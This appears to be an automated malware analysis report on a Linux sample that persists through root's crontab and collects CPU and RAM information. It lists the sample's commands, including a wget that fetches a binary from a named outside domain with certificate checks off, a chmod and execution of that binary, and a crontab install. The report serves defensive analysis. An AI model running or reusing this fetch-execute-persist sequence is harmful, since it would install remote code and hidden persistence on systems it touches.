Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- pgrep -x ip
- wget -q --no-check-certificate https://cn.nosdir.me/ip
- chmod +x /var/tmp/ip
- /var/tmp/ip
- crontab -l
- grep -q .startup
- crontab /var/tmp/.tempo
- sleep 1
- rm -rf /var/tmp/.tempo
Performs operations with the file system:
Modifies file access rights:
- /var/tmp/ip
- /var/spool/cron/crontabs/tmp.Ep3coo
Creates or modifies files:
- /var/tmp/ip
- /var/tmp/.tempo
- /var/spool/cron/crontabs/tmp.Ep3coo
Deletes files:
- /var/tmp/.tempo
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- [2#######0:3036::6815:52f6]:0
- [2#######0:3034::ac43:a635]:0
- 17#.#7.166.53:0
- 10#.#1.82.246:0
- 17#.##.166.53:443
- 17#.##.100.197:443
DNS ASK:
- cn.##sdir.me
Sends data to the following servers:
- 17#.##.166.53:443
- 17#.##.100.197:443
Receives data from the following servers:
- 17#.##.166.53:443
- 17#.##.100.197:443
Other:
Collects CPU information
Collects RAM information